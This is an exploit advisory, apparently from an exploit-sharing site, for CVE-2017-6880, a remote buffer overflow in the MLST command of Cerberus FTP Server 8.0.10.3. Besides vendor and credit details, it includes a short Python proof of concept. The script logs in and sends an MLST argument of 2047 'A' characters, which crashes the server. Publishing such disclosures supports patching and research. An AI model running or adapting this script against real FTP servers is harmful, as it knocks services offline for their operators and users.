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Cerberus FTP Server 8.0.10.3 - MLST Buffer Overflow Vulnerability
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[+] Title: Cerberus FTP Server 8.0.10.3 – 'MLST' Remote Buffer Overflow [+] Credits / Discovery: Nassim Asrir [+] Author Contact: wassline@gmail.com || https://www.linkedin.com/in/nassim-asrir-b73a57122/ [+] Author Company: Henceforth [+] CVE: CVE-2017-6880 Vendor: =============== https://www.cerberusftp.com/ Download: =========== https://www.cerberusftp.com/files/CerberusInstall.exe (32-Bit) Vulnerability Type: =================== Remote Buffer Overflow. issue: =================== This problem happens when the Attacker send the bad char "A" in the command "MLST" (2047). POC: =================== #Simple POC by Nassim Asrir from Henceforth. import socket bad_char = "A"*2047 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.1.81',21)) s.recv(1024) s.send('USER nassim\r\n') s.recv(1024) s.send('PASS mypass\r\n') s.recv(1024) s.send('MLST ' + bad_char + '\r\n') s.close() https://gist.github.com/Nassim-Asrir/a1bb8479976d4bf6b7c0e63024a46cd6/archive/e76274496bf20a0d3ecbb4b2f6a408166808d03b.zip Tested on: =============== Windows 7 Sp1 (64 Bit) # 0day.today [2024-10-06] #